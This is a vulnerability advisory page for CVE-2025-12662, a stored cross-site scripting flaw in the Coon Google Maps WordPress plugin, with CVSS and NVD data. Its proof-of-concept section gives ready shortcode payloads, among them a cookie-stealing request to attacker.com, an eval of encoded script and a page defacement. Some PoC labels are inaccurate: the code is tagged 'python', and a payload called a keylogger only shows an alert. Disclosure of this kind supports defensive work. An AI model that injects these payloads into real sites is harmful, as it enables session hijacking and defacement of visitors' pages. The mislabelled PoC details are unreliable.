Security Vulnerability Report
中文
CVE-2025-12662 CVSS 6.4 MEDIUM

CVE-2025-12662

Published: 2025-11-11 04:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Coon Google Maps plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'height' parameter in the 'map' shortcode in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Coon Google Maps WordPress插件 <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Stored XSS via Coon Google Maps Plugin --> <!-- Required: Contributor+ role --> <!-- PoC 1: Basic alert payload --> [map height="100px onerror=alert(document.domain)"] <!-- PoC 2: Cookie stealing payload --> [map height='100px onload=fetch("https://attacker.com/steal?c="+document.cookie)'] <!-- PoC 3: Session hijacking via keylogger --> [map height="100px onfocus=eval(atob('YWxlcnQoJ1hTUyBpbmplY3RlZCcpOw=='))"] <!-- PoC 4: DOM manipulation payload --> [map height="100px onmouseover=document.body.innerHTML='<h1>Hacked</h1>'"] <!-- Attack workflow: 1. Attacker with Contributor role creates/edits a post 2. Inserts malicious shortcode with XSS payload in height parameter 3. When page is viewed, JavaScript executes in victim's browser 4. Attacker can steal session cookies, redirect users, or modify page content -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12662", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:48.760", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Coon Google Maps plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'height' parameter in the 'map' shortcode in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/coon-google-maps/tags/1.0/coon-google-maps.php#L71", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/coon-google-maps/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f0d0eaa0-ad8f-418c-bb61-eb209ba0249b?source=cve", "source": "[email protected]"}]}}